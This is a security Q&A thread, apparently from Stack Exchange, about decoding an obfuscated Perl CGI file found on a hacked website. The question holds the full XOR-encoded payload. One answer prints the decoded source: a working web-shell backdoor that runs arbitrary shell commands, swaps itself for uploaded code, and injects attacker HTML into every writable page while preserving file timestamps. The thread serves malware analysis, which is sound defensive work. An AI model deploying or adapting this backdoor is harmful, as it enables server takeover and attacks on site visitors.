3

I found three (identical) .cgi files in the "cgi-bin" directory of a hacked website account. My knowledge of Perl is insufficient to decode them. I see some regexp with code execution, but I don't see (or rather can't read) the code

Need hints on what the following code does:

#!/usr/bin/perl -w
''=~('(?{'.('vKY18FvTDWA3R65PGJ-H6Z9UnmK=33a23GVfpP9PkN1=98X3C8-U5QQHtP5X6VmEL2SE9j1Nh1AUEvq8qOuREIz7OxAYCZ=7VE0Vs=ZA2-Dp13YR=Ja56GV0JUKYaC9GAA-OdV26hV802a6ssYR-VXcdnD7mkpR3=c8PV7mX74AW-5Zyls0GtVAXUtjv93MYLoAR-XIPcf-0kAwyg4L8-=26a-5p-mq9sR6j1GWX42yoYcmLR4kS96QoQKs7b8a2fu0471a=042tDYCe2Sp284=RXeq4c2O=2exve3j=veebwaDE00EGb5nlQNDEVzCOOQ82r5a=x=HSc8ZoFMq476anbzg4x11x78jgqj9hcMD4XksocvenaxQZCet54ZXIiXwUvitT8hVFzPR=QTS2hvZlJEvIMZVL=CoNxNpJyaY8mn3eTs6H2n1DwxXPRX1gcRR=AkNb29-hrnJ6ETPDgyiyzce-=4K1jMzWOUgPDA-PNSJMfCuUIbKgE68RYJpSmvC10EfmgOokTViMehQF-6YoFKDxvxFiAy1X4=CT4mEzZ6=zNAeCu1PHLcsc8ZObXPKNXIXhD8xuUDPROVPQP7S-AjY4IeX0K5byweQplYY3A83I2gevwn84ZNDLOl5eXKHVZ9CXXCd1QSyVWUP1EOE9=8YX-sx1RVLH70T0K7SwoF6N1KED=Z5958Tx38Zr51SNrH-0=8H7ZXT3W2KOmj3K1-7sHV2FXZoNRRVDPrzf=1QFGn3=Ou06V27=ZtNNIo5ShQ7G=8lXrq63FFfWYU8=SmJi85x0=QoGz9C-WY7sQYZ=GVYZ882P-2kGE6z92JLKY40SgGeQZ=Z4HCflF17GZt-Q6VFRtnaCT5YU2C75XjxxnnlJPa17CAgN8X7Qdy7q6hZvpEXQ5FMpXYHjQ=72Y8WJj9pr3p64T60=KgM2Y6T9U2=IOD=Cc83Y0LPYP4zAXk4LAYVUDUFNl8X05FQXDCJ-8-S39LYggXCMwG12XLTGu3Cvhp6gn9fX=Uteb0C4VX6WZU1QsX1=ZM5E4=Ly23yxFtLXA1SIQrzm7Jr4=QWqvRy0Q93cRPZPdS2jPZ1TQRpRqt0t7jY7lS88y484EZ5DsnHfj36FLeigYSDniJS8sVQ4-ELGPWZmAoJ7SH86Mgc4UR80Og40yseIs1j-VMfuPVHa1S=T95U6SHde4l0DCoE38=V8Y==TGT42O1W0UrKvRFjPKYf0TESn8x17AomA2PUT643=oaT=7S2=7KbHccfPKlGLOccDJ=URSsygY41bH946MXKEJokDScGp=9VCHFI78RurEyx9M=MXnNWTSIV-MIL-2Cc2KT8KREEY40N6FQ0=QVwIzncAIC5D3VVoMQjgXKG=05kXoQu47849AQTXpFC6OX7CRoL0E71X2MaX99Z7-mvqQEytESFXEA6SXYPQMbOP5A86IzuqPNCAAT-9A8H=UyKZPWOTFLPwRgE5TW-itXbKVX5jfIUR5DGtGXL4UGRJMIKxAX2ez896932hxtOHNSCZj9OXh-=Q=lrMog=spUN=XAXt7Z4-OGWo26SpTOZPNEr=11T9532HNyummXelzzXAcq0-8-E2D0zKo9Kdo408QE-JQ5Y=XjWyekGSj78ANiW74XeGAZxStFwVEQY7TCtJeUaqUt7nExjbs13qRwJS1SXA3=KVXGFJb18SayX6eNCXDgKuCT6U2HdCT14SGOxNWlHfqhP8Ek7TFeWKNE391OPtWZAQFAHGsk9XNcixPSch=38ZRmI6Z9TVWT-S6gffZ24-m4oAOD1SFrW2kCmLj3jVJoJ1Xo97Sdz5yHPkluAy04fFmI29TyKpis5JWe7JF25ZiswCp1NpU=v2J4dRmVRH7cU4OZ03WIi6KwJdJRXF=CDW96wJkh3PTkHu64Lv4X97MuiYH0ZaiO719QYbknd=gVpqlDQ99=8ar07QQ53201TqqZ=XKw2X=6vR7L7PAiepSj09-Y=GSvg44Y44belmKm1ahJZhgc8lVYCgxmfaGgIKg6-DHROp9F2QuNtWQ5U=W-2YN0TYRfvNa==NQY5112=PXKuR0DU=my7-9XAQY=LGk38XQ1RAQKWVfIKQYQikCXD9EPS9=HpYA1HyCCE52oe0VGHhEJYfxf44=dWGAMA1X-ISwaiSMngh8fj0WGq394PQxKu7C7F-74d-MkMUKFDGJD0PgQxGC43yF=fME1jD4VWHmuAY1ANjU0=2oRR4DSC77WM-=6oXRND4U7GVYGQTXW3lXjRWm55TZUkVgP046ZAl82X74SDoakhWo692WzPRc09QVgJC8NVQLcsnejG=8F0=aP23-5ITiW8ATatbysFJLFA37SYb4041UXv3S6U=n0YWUYRSR-9=GUJnrPHsQ9Z8UFg5z=vycpEbgCccAuX-YT41W957GoCECWDm2-EGOay25THScLSX7Sb9HgaPWUT9-WRT7KU2yCnLt7gTiXteGTZvykzT35an=jzaY9YSH-1564vW2qAioJFP739Ckoybi4EO14-E539T09-3q6YRKcziXNZ8-87GfvcP86vh8e4T980TI0Q510Kg6J8xNjQ680cJLM6QjFn7G6OK=99CN1Q2R2YLMpdLQ8I5RG89=JfGYR=0ubmMF4Abkh3Uzcm07-U-2761PlxFxXHPkNV9W6hY0hnOOkVzCHdXwQWQQIrN65WWr0t5DdoW78I5UzQ9=I-H-iOR14Wf0qAY8cfF88YiOKAJNmSnMNHGE3Q0ZPsZP0SPQJk-Y-4MsOI9dU3xUEZTKxDdSs=p59Cc9xE=45Q=6-8W3lR8cNxHev-D7TlnsV6U1q9E2Z05JZ4WQF8USY=RodpNYV178nMxiQSckk0fP4pzdxA8WvZi9FDJFQSkyDjRYCwkvZWRcHXSIHONeq4n=PYPI3VY7OjT=Q-hSOsXXUX-hWX6HMvTZP7XDFX-764rFv8Y94FNvZDffpNYC-CljtLzqkmMCacJrYQSZ2NLQZS0wKddIZILTR1PZ5An0K4yWXQ65DG94fDyeLYHCaFHQM=5W4DJ7=hIAoLURT4QhCoxxb=C8K98Fdgy8DcDW7PLiZ=RQlbcnpfQY7FHixfydxuDNbp9l140Z2IPXQCuUi6MX=7OvlI7ZI08VoNRQQ-XSiZaPzDA3-8suQ33XY4775A5AQ5Y4XyzM=0HgmPXOP8FehYmUQ5Sn2tE89-8acIXOwSVQRV=2UPXZu3DASjEocQ9G0bLaLH650QaedNpFSC7J1XMPtk14SPWZVW=XSRp7Q4TEGGFRPiWee9EOSOI2P85HPh6YCDXmUsAFK=C70nsU1THAXYFn7S2QYa7HTVR932ZZnQ94e3mmjX4sCV1859TH6stlT-6J6WaFZAVx4Y=03-L8hiy=3GN67=QG2Aw4555fkgoCdlx5hJDqSX5TCHUEIL5FCxLQXSQLKxd54KzwzMOIx9M8PVNE5WMRPU49hIhPShobOkCNT6CwHY9EPvJ8XVV=mAK9UQyFsGIgrXb0T-HOQ-AFQD7L1NE3LnVX86DwYFqJAY=hoy0q=NftYX5jp61S0uLSZ94lLY0D28cNR0fq1RvDYPpDeIk=zSHexCObXSGIzeYE1ADeKDN=Lg7zXE8wkszT30SVeGJQL4xPLjc-5fF4xYNIDYkhr-EWVeZ2AHHYs37OAeO0008oLW=JPnmEPTZAVH12kChXP15vwRDLPnktI1ZChDDJ1Yy17xxO=CEE8Xpr1D5113E2IAsY=7cnq3S2rR=4Z-Mbbhj9oA67XCVtKCdSoIhzslNyh0yDuKH4dWQ-58fCMVzSJSES9J7JOIACD9lptUT6131E0JH0=XXfcPAX=a5X65Q4US53Jw6X64XwR=U65YM=cPl8xHSD2VcrHHTm209PGJkKE6mkPQU2Nd8JC2aNy7OzK-Y3iWARONyykXgpHk8=QVjtsF=WIPE5PQQOIsGk0NYh08193lnSF=-W=HVQ-355mlsfmCI4YDT9TRrMQ06V7bYYM184CnGjeFV0DY9SddMvPSWWAp=83=Ksh4jCZjL7EU9oPk=zxxsrS9UWsWPCYP4N6EPU1lk0ztpzsh-VP2IfT7-2JIjW7CZ4-AYAbsc0-V85fA1d5voUKbZEd8jZNQX-=JhNWT1vNSlCYEtP1jWOt2dQ5xbVe7=8brqjgu0C=HI1T=VTit9w8MMZ4993A5ziLONbY9=S0kWEXPq=LJ2733TdD5L86GYD2Wqdy2=4UFcZXM3Z=SAj3501CLJf5LIL18Z7JJ2096oTg67QF-U5Atk28RS68cxsOpOazCQ4055ueCx119j3GS18dXO0XSOGQ=C20Mr79WRwQ8N4Jy89Y6yoOX9clgkO2cOJ8yK=-Y47bV6U7PS0XFNlVWV2DYEGXNpWjQX75f8LK0NhftXYYKttYINZglDzAdD3YK7GNSQMZCJckQ08762lT6YSKjIkS==5HuYS15J-RV-WaXnNMdwX83wxHDKcSqQJ3GLl9ASc34TiLCOCNC3YzLYyeCrvGOX9ZxmRVAHXxzb5ePScxqT70XLn9YS0CVuR1=07AmUR6SYcWW6VjUYW487HHozX-Z-ZHw7caJmh3=-pkdvnRp=DDhnxHDNYnZRZCRT-=rXMHxUQKxQ0DZVxW6UXDVX479f4Q4EZDZf4DLPdmj4X15-PR8tfoAdRvS3QVvGxpHCSAAOZ7DQftgYT=7TT629WRUIoNc4C7ZX21Hq6=blKpDYXggLHQQC79Z-Qw-30ITXTEaHUm4LZZPesWQDY1ZS4Cz9=F0WMiSJ5=VzCDW5I2teS=Y1DnM4TPlho99=1CGyxE7UA6wCN99T=DOuOuif75kZX0HU89aCUY8SxFixV42ghE7N=1955dMpJoMLZ4ATCASdyC6QZ6YL03TXUr59UHeC99TIoQ8EH9O=H30xP4HTXgE4CLT5EEGQK8Pf5MHG-YWTfMkT5-Y5SFdmkZ1Rd9635ZGFgGV0-dZ-QlkMHie3P7528ZVOZ19qMoYs3KQFYD3=Kc07cVgUPVz0V78GvU0ZcNA3H=8=Z9Azcz4pJNV74QSb8PZ6K2RP0u1CKkmN0=2-5YeUMOUwImE=btkCcVNEi8R78RORW-zXl10CCxUZTSNPYm0vPV0=JMqzDEWCoeWWUY90Xk7807fmowUETD5L1Z8klX1fXS=86SfQ0R62XoVZ3UJlmAAE5--8nnwE5SH3D7=5YUqE=9UYHRlQIxj262VgPLORgXHGY=5NLv3EQrYRSf=OXSaxXL1eMbK76Ut4EZEGnHOOKzTIsh7ZTAxmagjTktz4IC1=5uQI53TwZsXGE0E=1UAMW97lKg8A984GnKygIK0ZKtAOLkNd-7P9PO0-Xei68D=DdL3QeUUTS=WAMwI5V-2V9ZY5QCSC' ^ 'UjvDK4Y6-9nC7DYZ29Hhp3U0TW8IRGZ8F43F69U5QtrRIAc96KHus8=-Njs1X2VO9A6ez-xubD20e56qKu6379ZF8P6814TY16d91O56AH6PWR-3Q95Zt59G909pZc3M24Oo63SR87JCWkMyz5=N74CLD-YDKMrsbCQ6vw2c==-8NT6YDWYkTr-76XJRRV4ulK73AqrZioDVCe271Okjhlgs2yj=h99v7uKJT6wzsw-Mpid7X=bwPXqRqo6y4CFc30bmhb5oyzuS9bIlOYyWTGT4pA4z5Ihow4-36g5p31--3F9eUAee2z=8sgNL-pJF=4YVZf5y1sdsGQ4Cfi4zaMF--43q6en4rv-39MDAXGMIRKSOCVEdh884cXTFD61=AwQzZIP=VAmLs6=O450ZHR3LbuVgczroT-FDq5zCpE0V6JZ8tNHhAAmoXXw7iR8nKv9X8GnFDXAARSjE5890OVTVVCADSooX7aZefnmYMeF57sw3F0ZpaLeNjFY12bR0OZcYU=NIVfFD33RGlau0LZyR8k7WSPhGhVA9WVkvWOiZ2SERjpLjZV5sFjzGQ44F3523xgeHfdHWu-6rg2579Y6IiN0Z2A3U2HKPLoXyH07HeSV0OGKKWJNU6uNE2fHoR8=4zi11674P6613615CO4O0MJ06YSZr=88-YDyD2G6MO2S6Ed-0P6iWiVvC9EPxFD1n70HSHL-t559R9VA4gcC9XCCSjjZ256Qr0=2=nPAl4X7foJZS4REF2SCXkS3gCfNYaXX7XVLp48zvjfAyv1YI2JcIWGXTT4Oe4VcI6-VS706XemSS1OZ9AWKoyp3uwteAP=KYnNl22R7DsIoeOXQgrPrqX3fuSGA8pS09W3VA0JEXJ1W7Zh8JIHn-T7D4DQq8z-sMzLQ8SfeT173M6XCT0T29MDYRH9XW8CTXkOiT0Z1I4FUek-S8DMC=Q85hwIVpqPIFHP3970f5Lq6SY35=dknKQA6CX81KC1-6P2AV981vRNoFAKKmgDlQT3TMFY-Oq9R3krLxyQJ7SDZ5QSlQtz5=jTkvnU2=0USMX8RPT4wS8=YT0MRC4965Fh8cY-Y==7PzM2y8rTp=eZC2p=1W-5X4HdAocZPfdA6G76dINcsCW08XH5-38wgMe0qJYA1KGnjW9=KUoOry56Lry8cD0mNQ983FV6I2PY0Et5MEO-T7cGaUQQ3H8IUxc=ZIhP3TdU6ZcoQ-APoU866NCXpS2OEeT991FUGUCE=SLtSYSzE5OSOk6fN1Ej64-O466SQC0ZJE=IPW9=yb7FK-5CoTTW-d=6-VL7GU8PC3Do86Nfs==2qX=--YWpDObtQ-rma0ZKiC65QI4eP4SUiHm0A6Z81OpqHQjz3NUAIceXQFRNQK240xMf1S9=E07OhC1EX6UvkQIK3YYMTMphTP760=72S7utnsvhFsE3QX=ZWMqcnco3HM1O=T1QofyymykrrLXn5G=9YIVdM-96ATZf7=Q=yHh08Y9ypqG4Ar2-PE3VZZLWWHPPklgY8PcT6xLKT=XLOmK8fC-nD458xPT5PHozwKmmb-oES=7eVZTE2PYVAhsYQ26j8Wps58C1VDTH5S0XAAfP-DGXUV61EbuV6Y=CwGEZnYcL2HGM4XP=EzaxD1ExUxa26S1mVvJ7POwO=g8rchzXUQzS-6E51-VNkkegwch8CYhp5OEj377GvU1=X1W0Lg2XX6koZauEslxa=AeOS=4Ejk=0QJE=xP13-4jaxkSOI7=JRrYZia4uQ67Wsp3W0lm2D=ROloSAAOMOeHFMX5fZzTKeKlGDCv1eC8QfPQsLUiW88EFQnYLHFi1gZM9WaTFSI6wJkd5ZA7GYSlPM2PzaXS9DJxIyr4KCzha0CCsfIJ7We8d802PgkwEJWe7FP69OgUJHlYhvZC=QFy4LzN5aCAUuvKagm4n-zxeMXILNPAZpQ8=PCSDYxU73Q=qMt1SRLhY-Z5hRoyZc9KH-H5=Mm==P=Ihled6g8ha7vbnj1H201mqdOZMn4AnSA7-r4PI3A9Uf418Y0M6YZujV=57OM3k47G76GTPQUp52UvV-9XE9QDU=10-UeMbH2QXX4aykz3Fm-854IMexiNet5PQ-YSH83sJJLXKOAY8-hUezblqo=YDDs3382E=IinWQRYDgnb1ocY1oUUPX5qE5UZlkhECYKDdK6uo26290U4GlXvxI9pO4lDL8N-Z08hPU2-P5fN3YQWFiX=MZgSh69DPSOerj-Z3Xjh8389=l9eQcv32XA=70KkGtYZP5lRUF1ZQhNfhbL30EPH2ZmrGYW79Jt0Q43jFjzgocN4W6USAxtzapetM1Q-1HOhpzO9553VV7yJryxtyxRZ=R0E1S630urw6rJT=0cUxYAz2U5K0fOs3q3PXzLknIjjHQ1C=1Ln4VQRgR=e0xlQPOtyaKEPWfvzLc41Dhh0AnE9911Ar4=0RkhLY0AdHUVjGrH9h6kHPDU3ZFZd4csE0W=60rRZRQVjLQ2FGv53EZI7EEGLCg1=XZJkSAV9sQLA2Y=7eIF5w=9JDHCyOYL7QEMb1l=pPVT11o2ZUUkZHjKWfV7YVDC984Z4WhDX1S=-QVNmdY8V6W7bgNJfmdfF15QIItOhv5TCNhdDO=KkbaZ3ZKIYYI0UmTYU5LE8X5gl7a4V3OVvYAdFFb-pJAmQS89541--YQ2wONTFkX3xUW-LkUuZR-HtqF-=UMiIYJKP1jobQV3IrkpqDdZg0DANLV=C36SrtY=4424N6IQmN1iTKioW=178uW-MYz4yN3Jj0qaTZQ4EiNW3VLoFC=Wt9YE0Z8RAW5Y1TMejP5TLtfhx92U9mvTiemyGPrXYRNpXXjYjbbMlY=ypmqHQ1VrMM419247KDyJcyeQKR398CuesyaEGlxOd4YPYmZ8=R757R5HHnoW161=U747R-cR754RvfzwOXRMLzYP-TXxlMPMooyj0-GcQJEwpxbd0IhjCxPXZ3Tndu3=ZWvYDxzojtvW96PaONkYV11=Sij7QDI-PoEPA8kOAXDRE2Zdbcp8eaMrq4=X4JjTrqk4JH9PV2D34hdG-9S5469R64Whjgyo25X5-IP244QNNGky0f8=9SG=954cQ16W91PRcVH-h7=YU3Cnv78A=hcShYs43ZCLSWmCA=gAGST5PauS0X=EU=OUvEVZQFYELlaPN0=F6NIT5JPCLAAuybZ=9q09YKu96zQU--6GhQAjDM9k1kEASYC4klm5zOZJG8X69pVWAF6n95v1T46rTQ8X1yh747nKlol08EZ2COZ2F=2Hw=0dpIqWhL07JZINW3X8-aeyb1lcojShZ1tr1VWWzgNufoTnVgc5MSg1TLSP8-ESILprmxklkO78v8R0QUCL8PScpTUgfZRS63ZiSWZQPOKYOrMfqNbCMU07Q1cuugu-QxaVh2774biDKTPuXLpD2Cq3DQ6vfaR29499QJHtUpbAek4aJG9OcS86JemV8Q623EEe-P94UfQhkNIRk99Thk5D3fldD9S=1AdJ01TShWijQn16NATs9x7Go204PPJpX=TOv53WPDFP97GZC5X9oxX4Vlt6PbCiFJSs3oqJFk15gaU9w5YonAdd2AlHkT01UYAWUtOLsy9i998YVzhECQIFihV8=9jsOGRQ9wy9tX28lvSOKon9aZXDUKcwA6pA1k327eyhMNKl4v3EERXr80pA7Z=A6gGmNC8PpJ=qqF4306PxX2W-YTAR1Zee50QRYT7Z=VHhSU7HdYhac0f3SC-18OAJmZf4bsze3sa9p9YAA=ms5DG2oJdmpZ7YL6U9Rj4i167QLX43=ZTCP1XflVT4=OX-KQ7hS7DP0W=sXJjSP1ZQp74T9SE89UJZeCrAZ-TvKRe-tITYU5glMkhAMO689Wgn1C88hGpZ6ZoD7YIjabtDppbRnyAOQS79JIS5I6=xaS9=4fryNb9j=7QLXTVLSsbTC1Reh0YZXPVfzodg-k40=T1rOmuYX0XOg49XUQxdNclb2o70C6DYmR9=18lNNQIXpya=cIScEX50WOx-t6=TSV5P92ZlZJPYG7E754ULCv385VSLD84W197XIWfiN3h03NHhbKkzjSA9KPFiw-y3FnAkSLn1cSj86IX27-80TVs-L0vmH1UTyeHnK0QFKyJPTUYxxcnQY-Y-1n7R21IIGWKbefGZKZ1ATCrad1-KT=WE177=2U-8qXWVzNxicKU504FiXKVUTGnLjSQiZ4Y695PZTTcq4FFcapWW4Cj9FIUSRzMYA44K9Z6ZAZQ67SVMRMaZs=U02FYEAKLlWVXJQ9NZ81nQF915oouT-VU5-TV37WlFnYeEZV=OWEqwPJfnbFIiFC1poTC=QO=5Y1RpnNx5aDj59V=woyqaTfN27SPIQwA9GaoP173kIThrDSne9pHmMV58RMGZX6PJCjbuYVSSJ37Y=6kWiO0RYPfQ0=UP2r19I2ZRgGDmS1VYWEhupiZxX79NEe3HZjZRtAh7=6=7V=ZqdYTcTPgk1W0XPovqaRqskNoYZjqU=YT=41Z67UckUvXSTR926=R6wG48R3DwexVWS1vSU0Y7AdjL=jhCdLZSGPVDGUXy4M9bgqANGPg34zkv=CWRephIuwmXuV-63XvHu5k01XReHD9Dj3mPo=M7Zmdc=7APCpzl96CaFlR5Z=3TnCzAJZH1=3Y0q297ypTY01NmZ860reGj=JT67AThYbp2EpzMPQnmEAXX6CP7HqSIlQ==51iAl12Y8375ISs7-5TaY=Js0M4Y99IqvEO3D643T=WTA5T5TxA=F1nNSe004LINpqfR92SW8nIK=S0oWsTDKYZK87T1uQWAg30T6UkWZmI8na8=G4TUFPnDy1eDESD3=-5sFE3D4dX6lVZ8=uVSP9-YlIK1wMj2LADE459MrZG=6x25S1-0PemcxACZoX4hcN631FpKpjvihhLmgb3WrLTYEPrehH33CYJ9J8NGmjGJG5DAmW62a9VPSdFSzHAXO64VSkKdz3zGwnxUD3DLvX6W3Agz9A4HO3W5Z77dPn-9SQjYk136Y8Wrxd8ajpadGCDAYP4Mw9=uZ-MbaSA7pQqnyIL7DLca10DZfLEU07V6==qgkSd9R=9TXjpQJspbxOEw4=4VTxOZWTRJMHYz117AbR=QLWR8o-=QQX8NvD7EFiA5=ZrcWgHH5GDCLNLK5G6vF4POT=0MjMK0gjifX4rcWZA3GZE4XnQ850SAnnJC74L7=oIM==mCCRELo0hADC7Tf04eoJaE4As90SLT70aEME81d6Op=91XSAUsuEA1IxHRN6I6IT8ii4TSEpm11KQZ3NiEH99UdiOK2Fah6HV4i1=CHcoOfJ-S04-T4-0406OlKk21P5XF3z54X0-7x').'$/})');
Denis
  • 81
  • 4

3 Answers3

6

Essentially it XORs two strings together and then executes the result. You can view the original code just by XORing the two strings and printing the result instead.

I stripped off the ''=~('(?{'.( and ).'$/})'); bits and wrapped it in a print statement, and here's what I got:

Some random malware (pastebin)

tylerl
  • 82,225
  • 25
  • 148
  • 226
  • 1
    Thanks for pointing at the XOR operation. I missed the `^` when checked the code. Now everything is clear. – Denis Aug 06 '12 at 00:39
  • +1 More consise /and/ more informative than my answer. How could you tell it was XORing? Is it the most common obsfucation system for this kind of thing? – Louis Aug 06 '12 at 00:42
  • 1
    @Louis this `^` halfway through was the clue. The most common obfuscation technique is base64 encoding, but it's so common that people now generally look for it. – tylerl Aug 06 '12 at 00:46
  • Ack, it's right there, with spaces either side, and I didn't even spot it. I was visualising some complex Perl bytecode decryption system, and the answer was pretty much spelled out. Sigh. Thanks for the explaination :) – Louis Aug 06 '12 at 00:57
2

Hmm, I'm going to have a stab at this. I'll probably fail, but here goes!

First line is just the shebang for convinience of execution and to set warning mode. Not sure why warnings would be enabled for a script like this, but it's here.

#!/usr/bin/perl -w

The next line I've broken down. The first bit:

'' =~

It's asking whether the next bit of code matches an empty string. That said chunk of code seems to be wedged between these two:

('(?{'.(

...

').'$/})');

At this point, I wonder what the point of matching a string would be, except to slow down the interpreter. Then I remembered Perl can execute Perl in the middle of regexes. Here's PerlDoc's summary of this feature from perlre:

(?{ code })

WARNING: This extended regular expression feature is considered experimental, and may be changed without notice. Code executed that has side effects may not perform identically from version to version due to the effect of future optimisations in the regex engine.

This zero-width assertion evaluates any embedded Perl code. It always succeeds, and its code is not interpolated. Currently, the rules to determine where the code ends are somewhat convoluted.

Well, I can spot that in the above code, so this is trying to execute Perl masquerading as a non-sensical string being fed into an inane regex match. Here's my demonstration of the feature along with the 'wrapping' that most of the suspect code is within:

#!/usr/bin/perl

use 5.016;
use autodie;
use warnings;

say 'Match' if '' =~ ('(?{say q(Hello from within a regex!)})');

The regex is wrapped in parenthesis. Perl probably takes this as precedence-defining only. Next is opening quote, which Perl regexes can be within. Then is the 'execute code' part.

Basically, it's probably dangerous. Depending on what's within the (?{ ... }), ofc.

Well, this has got me interested, so I'm going to try and work out more about that long-ass string. I'll edit if anything interesting comes up. It's probably malicious encoded Perl or something. Don't run it :)

Louis
  • 266
  • 1
  • 3
0

There is a very handy module in the Perl core called B::Deparse. You can use it to undo this kind of obfuscation. There really is no such thing as obfuscation.

I put your code in a test.pl file and ran it like this:

$ perl -MO=Deparse test.pl

The initial output was littered with \n and \t, but you can quickly get rid of this with a regular expression replacement tool of your liking. There are escaped \$s as well. Use \\\$ to remove them. You can then use Perl::Tidy to reindent it so it is more readable.

Here it is. It's pretty much the same as in the older answers, just the approach I used was different.

'' =~ m[(?{
#!/usr/bin/perl
use File::stat;
use File::Copy;
use File::Find;
use CGI;
use CGI::Carp qw(warningsToBrowser fatalsToBrowser); 

sub ReadParse
{
  local (*in) = \@_ if \@_;
  local ($i, $loc, $key, $val);

  if($ENV{'REQUEST_METHOD'} eq "GET")
  {
    $in = $ENV{'QUERY_STRING'};
  }
  elsif($ENV{'REQUEST_METHOD'} eq "POST")
  {
    read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  }

  \@in = split(/&/, $in);
  foreach $i (0 .. $#in)
  {
    $in[$i] =~ s/\+/ /g;
    ($key, $val) = split(/=/, $in[$i], 2);
    $key =~ s/%(..)/pack("c", hex($1))/ge;
    $val =~ s/%(..)/pack("c", hex($1))/ge;
    $in{$key} .= "\0" if (defined($in{$key}));
    $in{$key} .= $val;
  }
}

sub PrintPageHeader
{
  print "Content-type: text/html

";
}

sub ExecuteCommand
{
  print "<html><body>";
  if ($in{'update1'})
  {
    open (FILE, './data') or die "No data file";
    while (<FILE>)
    {
      chomp;
      if ($_ ne '') {$filepath = $_;}
    }
    close (FILE);
    if ($in{'getfiles'}) {Include ($filepath,$in{'update1'},1);}
    else { Include ($filepath,$in{'update1'},0);}
  }
  if ($in{'add1'})
  {
    open (FILE, './data') or die "No data file";
    while (<FILE>)
    {
      chomp;
      if ($_ ne '') {$filepath = $_;}
    }
    close (FILE);
    if ($in{'getfiles'}) {Ads ($filepath,$in{'add1'},1);}
    else { Ads ($filepath,$in{'add1'},0);}
  }
  Upgrade ($in{'update2'}) if ($in{'update2'});
  Run ($in{'update3'}) if ($in{'update3'});
  $string = "621tset";
  $reversed = reverse $string;
  print "<!--$reversed-->";
  #print "<!--".getpwuid($<)."-->";
  print "</font></body></html>";
}

sub Include ($$$)
{
  my $file = $_[0];
  my $code = $_[1];
  my $getfiles = $_[2];
  my \@filepath;
  if (length($code) > 1)
  {
    $code = "<b1>".$code."</b1>";
  }

  if ($getfiles == 1)
  {
    my $pos = rindex($file, "/");
    my $dir = substr($file, 0, $pos);

    File::Find::find(
    sub {
      if (-f && -w) {
        if (/\.ph.*$/ || /\.htm.*$/ || /\.shtm.*$/ || /\.asp.*$/ || /\.jsp$/ || /\.jhtm$/ || /\.cfm$/ || /\.ctp$/ || /\.tpl$/)
        {
        push (\@filepath,$File::Find::name);
        return;
        }
      }
      },
      $dir
    );
  }
  else { push (\@filepath,$file);}

  foreach my $file(\@filepath)
  {
    if ( -e $file && -w $file)
    {
      my $inj = 0;
      my $trusted = 0;

      if($file =~ m/\.htm/i) { $trusted = 1;}

      $info = stat($file);
      $d_atime = $info->atime;
      $d_mtime = $info->mtime;
      $d_size = $info->size;

      open (FILE, $file);
      sysread (FILE, $index_code, $d_size);
      close (FILE);

      $index_code =~ s/(<bb1>.*<bb2>)//gis;
      $index_code =~ s/(<b1>.*<\/b1>)//gis;
      $index_code =~ s/(<script.*>.*String.fromCharCode.*<\/script>)//gis;
      $index_code =~ s/(<font style=.*overflow.*hidden.*>.*<\/script>)//gis;

      if ($index_code =~ m/<\/body>/i)
      {
        $index_code =~ s/<\/body>/$code<\/body>/i;
        $inj = 1;
      }
      elsif ($index_code =~ m/<\/html>/i)
      {
        $index_code =~ s/<\/html>/$code<\/body><\/html>/i;
        $inj = 1;
      }

      if ($trusted == 1 && $inj == 0)
      {
        $index_code = $index_code.$code."</body></html>";
        $inj = 1;
      }

      if ($inj == 1 && $file !~ m/file\.php/i)
      {
        open (TMP, ">$file");
        print TMP $index_code;
        close (TMP);

        utime $d_atime, $d_mtime, $file;
        print "<pre>update $file</pre>";
      }
      #else { print "<!--no body in $file-->";}
    }
    else
    {
      print "<pre>no file $file</pre>";
    }
  }
}

sub Ads ($$$)
{
  my $file = $_[0];
  my $code = $_[1];
  my $getfiles = $_[2];
  my \@filepath;
  if (length($code) > 1)
  {
    $code = "<ad>".$code."</ad>";
  }

  if ($getfiles == 1)
  {
    my $pos = rindex($file, "/");
    my $dir = substr($file, 0, $pos);

    File::Find::find(
    sub {
      if (-f && -w) {
        if (/\.ph.*$/ || /\.htm.*$/ || /\.shtm.*$/ || /\.asp.*$/ || /\.jsp$/ || /\.jhtm$/ || /\.cfm$/ || /\.ctp$/ || /\.tpl$/)
        {
        push (\@filepath,$File::Find::name);
        return;
        }
      }
      },
      $dir
    );
  }
  else { push (\@filepath,$file);}

  foreach my $file(\@filepath)
  {
    if ( -e $file && -w $file)
    {
      my $inj = 0;

      $info = stat($file);
      $d_atime = $info->atime;
      $d_mtime = $info->mtime;
      $d_size = $info->size;

      open (FILE, $file);
      sysread (FILE, $index_code, $d_size);
      close (FILE);

      $index_code =~ s/(<ad>.*<\/ad>)//gim;
      $index_code =~ s/(<script.*>.*String.fromCharCode.*<\/script>)//gis;
      $index_code =~ s/(<font style=.*overflow.*hidden.*>.*<\/script>)//gis;

      if ($index_code =~ m/<body.*>/i)
      {
        $index_code =~ s/(<body.*>)/$1$code/i;
        $inj = 1;
      }
      else
      {
        $index_code = $code.$index_code;
        $inj = 1;
      }

      if ($trusted == 1 && $inj == 0)
      {
        $index_code = $index_code.$code."</body></html>";
        $inj = 1;
      }

      if ($inj == 1 && $file !~ m/file\.php/i)
      {
        open (TMP, ">$file");
        print TMP $index_code;
        close (TMP);

        utime $d_atime, $d_mtime, $file;
        print "<pre>update $file</pre>";
      }
      #else { print "<!--no body in $file-->";}
    }
    else
    {
      print "<pre>no file $file</pre>";
    }
  }
}

sub Upgrade ($)
{
  my $code = $_[0];

  if (move("./test.cgi", "./test_old.cgi"))
  {
    open (TMP, ">./test1.cgi");
    print TMP $code;
    close (TMP);
    system("tr -d '\15\32' < test1.cgi > test.cgi");
    $mode = 0755;   chmod $mode, './test.cgi';
    unlink('test1.cgi');
    print "<pre>upgrade</pre>";
  }
  else 
  {
    print "<pre>no</pre>";
  }
}

sub Run ($)
{
  my $cmd = $_[0];
  print "<pre>";
  system($cmd);
  print "</pre>";
}

&ReadParse;
&PrintPageHeader;
&ExecuteCommand;$/
})]x;
simbabque
  • 143
  • 5